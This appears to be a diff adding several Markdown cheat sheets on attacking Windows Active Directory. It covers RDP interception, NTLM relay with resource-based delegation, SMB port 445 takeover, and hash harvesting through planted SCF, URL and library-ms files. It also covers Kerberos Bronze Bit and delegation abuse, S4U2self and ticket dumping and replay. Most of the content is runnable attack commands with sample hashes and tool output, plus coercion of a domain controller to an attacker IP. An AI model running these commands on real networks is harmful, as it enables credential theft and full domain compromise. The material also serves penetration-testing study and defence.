pyrdp-mitm.py <IP>
pyrdp-mitp.py <IP>:<PORT> # with custom port
pyrdp-mitm.py <IP> -k private_key.pem -c certificate.pem # with custom key and certificate
```
**Exploitation**
* If Network Level Authentication (NLA) is enabled, you will obtain the client's NetNTLMv2 challenge
* If NLA is disabled, you will obtain the password in plaintext
* Other features are available such as keystroke recording
**Alternatives**
* [SySS-Research/Seth](https://github.com/SySS-Research/Seth), performs ARP spoofing prior to launching the RDP listener
## Relay IIS AppPool to Local Administrator
* HTTP coerce from the targeted machine
```ps1
powershell iwr http://10.10.10.2 -UseDefaultCredentials
```
* Relay to LDAP
```ps1
ntlmrelayx -t ldap://10.10.10.1 -smb2support --interactive
```
* Connect to the interactive LDAP shell via TCP
```ps1
nc 127.0.0.1 <PORT>
```
* Enable TLS and setup RBCD
```ps1
start_tls
add_computer fakePC P@ssword123
set_rbcd TARGET$ fakePC$
```
* Impersonate the administrator
```ps1
getST.py -spn 'cifs/target.lab.local' -impersonate Administrator -dc-ip 'dc.lab.local' 'lab.local/fakePC$:P@ssword123'
export KRB5CCNAME=/tmp/Administrator@cifs_target.lab.local@LAB.LOCAL.ccache
wmiexec.py -k -no-pass @target.lab.local
```
## Common Issues Forwarding Port 445
By default the SMB service is listening on port 445, blocking any relaying attempt on this port
**Technique #1**: Forward port 445 on Windows machine using a driver
* [praetorian-inc/PortBender](https://github.com/praetorian-inc/PortBender) - TCP Port Redirection Utility
```ps1
rportfwd 8445 127.0.0.1 445 # Machine 8445 redirected to Teamserver 445
sudo proxychains python3 examples/ntlmrelayx.py -t smb://10.10.10.10 -smb2support # relay SMB to 10.10.10.10
upload WinDivert32.sys
upload WinDivert64.sys
PortBender redirect 445 8445 # Redirect port 445 to 8445 on the machine
```
**Technique #2**: Disable SMB service, to easily portforward port 445
* [zyn3rgy/smbtakeover](https://github.com/zyn3rgy/smbtakeover) - BOF and Python3 implementation of technique to unbind 445/tcp on Windows via SCM interactions
```ps1
python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 check
python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 stop
python3 smbtakeover.py atlas.lab/josh:password1@10.0.0.21 start
bof_smbtakeover localhost check
bof_smbtakeover 10.0.0.21 stop
bof_smbtakeover localhost start
rportfwd_local 445 127.0.0.1 445
```
* [Windows/sc.exe](https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/sc-config)
```ps1
sc config LanmanServer start= disabled
sc stop LanmanServer
sc stop srv2
sc stop srvnet
```
* [XiaoliChan/wmiexec-Pro](https://github.com/XiaoliChan/wmiexec-Pro)
```ps1
wmiexec-pro.py lab.local/admin@target.lab.local service -action disable -service-name "LanmanServer"
wmiexec-pro.py lab.local/admin@target.lab.local service -action stop -service-name "LanmanServer"
wmiexec-pro.py lab.local/admin@target.lab.local service -action stop -service-name "srv2"
wmiexec-pro.py lab.local/admin@target.lab.local service -action disable -service-name "srvnet"
wmiexec-pro.py lab.local/admin@target.lab.local service -action getinfo -service-name "srvnet"
```
## References
* [Abusing multicast poisoning for pre-authenticated Kerberos relay over HTTP with Responder and krbrelayx - Quentin Roland - January 27, 2025](https://www.synacktiv.com/publications/abusing-multicast-poisoning-for-pre-authenticated-kerberos-relay-over-http-with)
* [Drop the MIC - CVE-2019-1040 - Marina Simakov - Jun 11, 2019](https://blog.preempt.com/drop-the-mic)
* [Exploiting CVE-2019-1040 - Combining relay vulnerabilities for RCE and Domain Admin - Dirk-jan Mollema - June 13, 2019](https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/)
* [Lateral Movement WebClient](https://pentestlab.blog/2021/10/20/lateral-movement-webclient/)
* [NTLM reflection is dead, long live NTLM reflection! An in-depth analysis of CVE-2025-33073 - Wilfried Bécard and Guillaume André - June 11, 2025](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025)
* [NTLM Relaying to LDAP - The Hail Mary of Network Compromise - @logangoins - July 23, 2024](https://logan-goins.com/2024-07-23-ldap-relay/)
* [Playing with Relayed Credentials - June 27, 2018](https://www.secureauth.com/blog/playing-relayed-credentials)
* [Relay Your Heart Away - An OPSEC-Conscious Approach to 445 Takeover - Nick Powers (@zyn3rgy) - Aug 1, 2024](https://posts.specterops.io/relay-your-heart-away-an-opsec-conscious-approach-to-445-takeover-1c9b4666c8ac)
* [Relay Your Heart Away: An OPSEC-Conscious Approach to 445 Takeover - Nick Powers (@zyn3rgy) - July 27, 2024](https://www.youtube.com/watch?v=iBqOOkQGJEA)
* [Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition) - Adam Toscher - Mar 9, 2018](https://medium.com/@adam.toscher/top-five-ways-i-got-domain-admin-on-your-internal-network-before-lunch-2018-edition-82259ab73aaa)

View File

@@ -0,0 +1,180 @@
# Internal - Shares
## READ Permission
> Some shares can be accessible without authentication, explore them to find some juicy files
* [Pennyw0rth/NetExec](https://github.com/Pennyw0rth/NetExec) - The Network Execution Tool
```ps1
nxc smb 10.0.0.4 -u guest -p '' -M spider_plus
nxc smb 10.0.0.4 -u guest -p '' --get-file \\info.txt.txt infos.txt.txt --share OPENSHARE
```
* [ShawnDEvans/smbmap](https://github.com/ShawnDEvans/smbmap) - a handy SMB enumeration tool
```powershell
smbmap -H 10.10.10.10 # null session
smbmap -H 10.10.10.10 -r PATH # recursive listing
smbmap -H 10.10.10.10 -u invaliduser # guest smb session
smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
```
* [byt3bl33d3r/pth-smbclient](https://github.com/byt3bl33d3r/pth-toolkit) from path-toolkit
```powershell
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
ls # list files
cd # move inside a folder
get # download files
put # replace a file
```
* [SecureAuthCorp/smbclient](https://github.com/SecureAuthCorp/impacket) from Impacket
```powershell
smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Replication Disk
SYSVOL Disk Logon server share
Users Disk
use Sharename # select a Sharename
cd Folder # move inside a folder
ls # list files
```
* [smbclient](https://www.samba.org/samba/docs/4.9/man-html/smbclient.1.html) - from Samba, ftp-like client to access SMB/CIFS resources on servers
```powershell
smbclient -U username //10.0.0.1/SYSVOL
smbclient //10.0.0.1/Share
# Download a folder recursively
smb: \> mask ""
smb: \> recurse ON
smb: \> prompt OFF
smb: \> lcd '/path/to/go/'
smb: \> mget *
```
* [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler) - a tool for pentesters to help find delicious candy
```ps1
snaffler.exe -s - snaffler.log
# Snaffle all the computers in the domain
./Snaffler.exe -d domain.local -c <DC> -s
# Snaffle specific computers
./Snaffler.exe -n computer1,computer2 -s
# Snaffle a specific directory
./Snaffler.exe -i C:\ -s
```
## WRITE Permission
Write SCF and URL files on a writeable share to farm for user's hashes and eventually replay them.
Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)
```ps1
# Farmer to receive auth
farmer.exe <port> [seconds] [output]
farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
farmer.exe 8888 60 # one minute
# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
crop.exe <output folder> <output filename> <WebDAV server> <LNK value> [options]
Crop.exe \\\\fileserver\\common mdsec.url \\\\workstation@8888\\mdsec.ico
Crop.exe \\\\fileserver\\common mdsec.library-ms \\\\workstation@8888\\mdsec
```
### SCF Files
Drop the following `@something.scf` file inside a share and start listening with Responder : `responder -wrf --lm -v -I eth0`
```powershell
[Shell]
Command=2
IconFile=\\10.10.10.10\Share\test.ico
[Taskbar]
Command=ToggleDesktop
```
Using [`netexec`](https://github.com/Pennyw0rth/NetExec/blob/master/cme/modules/slinky.py):
```ps1
netexec smb 10.10.10.10 -u username -p password -M scuffy -o NAME=WORK SERVER=IP_RESPONDER #scf
netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER #lnk
netexec smb 10.10.10.10 -u username -p password -M slinky -o NAME=WORK SERVER=IP_RESPONDER CLEANUP
```
### URL Files
This attack also works with `.url` files and `responder -I eth0 -v`.
```powershell
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.10.10.10\%USERNAME%.icon
IconIndex=1
```
### Windows Library Files
> Windows Library Files (.library-ms)
```xml
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="<http://schemas.microsoft.com/windows/2009/library>">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\\\workstation@8888\\folder</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
```
### Windows Search Connectors Files
> Windows Search Connectors (.searchConnector-ms)
```xml
<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription xmlns="<http://schemas.microsoft.com/windows/2009/searchConnector>">
<iconReference>imageres.dll,-1002</iconReference>
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<iconReference>\\\\workstation@8888\\folder.ico</iconReference>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>\\\\workstation@8888\\folder</url>
</simpleLocation>
</searchConnectorDescription>
```
## References
* [SMB Share SCF File Attacks - December 13, 2017 - @netbiosX](https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/)

View File

@@ -0,0 +1,69 @@
# Kerberos - Bronze Bit
CVE-2020-17049
> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.
> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).
:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`
Requirements:
* Service account's password hash
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013)
**Attack #1** - Bypass the `Trust this user for delegation to specified services only Use Kerberos only` protection and impersonate a user who is protected from delegation.
```powershell
# forwardable flag is only protected by the ticket encryption which uses the service account's password
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
# Access "c$"
ls \\service2.test.local\c$
```
**Attack #2** - Write Permissions to one or more objects in the AD
* Windows/Linux:
```ps1
bloodyAD -u user -p 'totoTOTOtoto1234*' -d test.local --host 10.100.10.5 add computer AttackerService 'AttackerServicePassword'
bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d test.local add rbcd 'Service2$' 'AttackerService$'
# Execute the attack
getST.py -spn cifs/Service2.test.local -impersonate User2 -dc-ip 10.100.10.5 -force-forwardable 'test.local/AttackerService$:AttackerServicePassword'
```
* Windows only:
```powershell
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardable
# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```
## References
* [CVE-2020-17049: Kerberos Bronze Bit Attack Practical Exploitation - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/)
* [CVE-2020-17049: Kerberos Bronze Bit Attack Theory - Jake Karnes - December 8th, 2020](https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-theory/)
* [Kerberos Bronze Bit Attack (CVE-2020-17049) Scenarios to Potentially Compromise Active Directory](https://www.hub.trimarcsecurity.com/post/leveraging-the-kerberos-bronze-bit-attack-cve-2020-17049-scenarios-to-compromise-active-directory)

View File

@@ -0,0 +1,78 @@
# Kerberos Delegation - Constrained Delegation
> Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.
## Identify a Constrained Delegation
* BloodHound: `MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p`
* PowerView: `Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft`
* Native
```powershell
Get-DomainComputer -TrustedToAuth | select -exp dnshostname
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```
* bloodyAD:
```ps1
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=16777216))' --attr sAMAccountName,msds-allowedtodelegateto
```
## Exploit the Constrained Delegation
* Impacket
```ps1
getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
```
* Rubeus: S4U2 attack (S4U2self + S4U2proxy)
```ps1
# with a password
Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
# with a NT hash
Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt
Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
dir \\dc.domain.com\c$
```
* Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"
```ps1
# Dump ticket
Rubeus.exe tgtdeleg /nowrap
Rubeus.exe triage
Rubeus.exe dump /luid:0x12d1f7
# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt
```
* Rubeus : using aes256 keys
```ps1
# Get aes256 keys of the machine account
privilege::debug
token::elevate
sekurlsa::ekeys
# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt
```
## Impersonate a domain user on a resource
Require:
* SYSTEM level privileges on a machine configured with constrained delegation
```ps1
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$
```

View File

@@ -0,0 +1,100 @@
# Kerberos Delegation - Resource Based Constrained Delegation
Resource-based Constrained Delegation was introduced in Windows Server 2012.
> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>
1. Import **Powermad** and **Powerview**
```powershell
PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
```
2. Get user SID
```powershell
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
# alternative (Windows/Linux)
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get writable --otype COMPUTER --detail | egrep -i 'distinguishedName|msds-allowedtoactonbehalfofotheridentity'
```
3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it
```powershell
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
# alternative (Windows/Linux)
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add computer swktest 'Weakest123*'
```
4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties
```powershell
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
# alternative (Windows/Linux)
# use 'remove' instead of 'add' after exploit
bloodyAD --host 10.1.0.4 -u user -p 'totoTOTOtoto1234*' -d crash.lab add rbcd 'dc01-ww2$' 'swktest$'
```
```ps1
# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# alternative
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
```
5. Use Rubeus to get hash from password
```powershell
Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan
[*] Input password : Weakest123*
[*] Input username : swktest$
[*] Input domain : factory.lan
[*] Salt : FACTORY.LANswktest
[*] rc4_hmac : F8E064CA98539B735600714A1F1907DD
[*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
[*] des_cbc_md5 : BA297CFD07E62A5E
```
6. Impersonate domain admin using our newly created machine account
```powershell
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
LmZhY3RvcnkubGFu
[*] Action: Import Ticket
[+] Ticket successfully imported!
```
## References
* [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - 28 January 2019 - Elad Shami](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
* [A Case Study in Wagging the Dog: Computer Takeover - Will Schroeder - Feb 28, 2019](https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783)

View File

@@ -0,0 +1,131 @@
# Kerberos Delegation - Unconstrained Delegation
> The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user.
> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.
:warning: Unconstrained delegation used to be the only option available in Windows 2000
> **Warning**
> Remember to coerce to a HOSTNAME if you want a Kerberos Ticket
## SpoolService Abuse with Unconstrained Delegation
The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.
**Requirements**:
- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS_UF_TRUSTED_FOR_DELEGATION**
- Must not have **ADS_UF_NOT_DELEGATED** flag
- User must not be in the **Protected Users** group
- User must not have the flag **Account is sensitive and cannot be delegated**
### Find delegation
:warning: : Domain controllers usually have unconstrained delegation enabled.
Check the `TRUSTED_FOR_DELEGATION` property.
- [ADModule](https://github.com/samratashok/ADModule)
```powershell
# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
```
- [bloodyAD](https://github.com/CravateRouge/bloodyAD)
```ps1
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' --attr sAMAccountName,userAccountControl
```
- [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```powershell
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
grep TRUSTED_FOR_DELEGATION domain_computers.grep
```
- [netexec module](https://github.com/Pennyw0rth/NetExec/wiki)
```powershell
nxc ldap 10.10.10.10 -u username -p password --trusted-for-delegation
```
- BloodHound: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c`
- Powershell Active Directory module: `Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl`
### SpoolService status
Check if the spool service is running on the remote host
```powershell
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
```
### Monitor with Rubeus
Monitor incoming connections from Rubeus.
```powershell
Rubeus.exe monitor /interval:1
```
### Force a connect back from the DC
Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.
> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.
```powershell
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>
# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
```
If the attack worked you should get a TGT of the domain controller.
### Load the ticket
Extract the base64 TGT from Rubeus output and load it to our current session.
```powershell
.\Rubeus.exe asktgs /ticket:<ticket base64> /service:LDAP/dc.lab.local,cifs/dc.lab.local /ptt
```
Alternatively you could also grab the ticket using Mimikatz : `mimikatz # sekurlsa::tickets`
Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`
### Mitigation
- Ensure sensitive accounts cannot be delegated
- Disable the Print Spooler Service
## MS-EFSRPC Abuse with Unconstrained Delegation
Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`.
```bash
# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```
## References
- [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
- [Hunting in Active Directory: Unconstrained Delegation & Forests Trusts - Roberto Rodriguez - Nov 28, 2018](https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1)
- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory - Elad Shamir - 28 January 2019](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)

View File

@@ -0,0 +1,39 @@
# Kerberos - Service for User Extension
* **Service For User To Self** which allows a service to obtain a TGS on behalf of another user
* **Service For User To Proxy** which allows a service to obtain a TGS on behalf of another user on another service
## S4U2self - Privilege Escalation
1. Get a TGT
* Using Unconstrained Delegation
* Using the current machine account: `Rubeus.exe tgtdeleg /nowrap`
* Using credentials: `getTGT.py -dc-ip "$DC_IP" -hashes :"$NT_HASH" "$DOMAIN"/"machine$"`
2. Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.
```ps1
# Windows
Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001.domain.local" /ticket:"base64ticket"
Rubeus.exe ptt /ticket:"base64ticket"
Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001" /ticket:"base64ticket" /ptt
# Linux
export KRB5CCNAME="/path/to/ticket.ccache"
getST.py -self -impersonate "DomainAdmin" -altservice "cifs/machine.domain.local" -k -no-pass -dc-ip "DomainController" "domain.local"/'machine$'
```
The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.
```ps1
# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.
Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap
# The service name is not included in the TGS ciphered data and can be modified at will.
Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
```
## References
* [Abusing S4U2Self: Another Sneaky Active Directory Persistence - Alsid](https://alsid.com/company/news/abusing-s4u2self-another-sneaky-active-directory-persistence)
* [S4U2self abuse - TheHackerRecipes](https://www.thehacker.recipes/ad/movement/kerberos/delegations/s4u2self-abuse)
* [Abusing Kerberos S4U2self for local privilege escalation - cfalta](https://cyberstoph.org/posts/2021/06/abusing-kerberos-s4u2self-for-local-privilege-escalation/)

View File

@@ -0,0 +1,195 @@
# Kerberos - Tickets
Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.
There are two types of tickets in Kerberos:
* **Ticket Granting Ticket** (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.
* **Service Ticket** (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.
## Dump Kerberos Tickets
* Mimikatz: `sekurlsa::tickets /export`
* Rubeus
```ps1
# List available tickets
Rubeus.exe triage
# Dump one ticket, the output is in Kirbi format
Rubeus.exe dump /luid:0x12d1f7
```
## Replay Kerberos Tickets
* Mimikatz: `mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"`
* netexec: `KRB5CCNAME=/tmp/administrator.ccache netexec smb 10.10.10 -u user --use-kcache`
